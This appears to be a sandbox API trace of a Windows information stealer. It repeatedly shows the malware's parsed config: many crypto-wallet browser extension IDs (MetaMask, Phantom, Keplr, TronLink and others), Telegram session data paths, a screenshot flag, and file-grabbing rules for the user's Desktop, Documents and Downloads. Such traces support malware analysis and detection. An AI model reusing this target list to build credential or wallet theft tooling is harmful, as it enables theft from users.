Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.589] lstrlenW (lpString="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2132 [0260.589] LocalAlloc (uFlags=0x40, uBytes=0x1128) returned 0x6bc930 [0260.589] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.589] LocalFree (hMem=0x6bc930) returned 0x0 [0260.590] StrStrW (lpFirst="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.590] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.590] LocalFree (hMem=0x6b9720) returned 0x0 [0260.590] LocalFree (hMem=0x6ba7d0) returned 0x0 [0260.590] LocalFree (hMem=0x6bb880) returned 0x0 [0260.591] StrStrW (lpFirst="ews_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.591] lstrlenW (lpString="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2054 [0260.591] lstrlenW (lpString="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2054 [0260.591] LocalAlloc (uFlags=0x40, uBytes=0x100c) returned 0x6b9720 [0260.591] lstrlenW (lpString="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2054 [0260.591] LocalAlloc (uFlags=0x40, uBytes=0x100c) returned 0x6ba738 [0260.591] lstrlenW (lpString="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2054 [0260.591] LocalAlloc (uFlags=0x40, uBytes=0x100c) returned 0x6bb750 [0260.591] StrStrW (lpFirst="ews_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 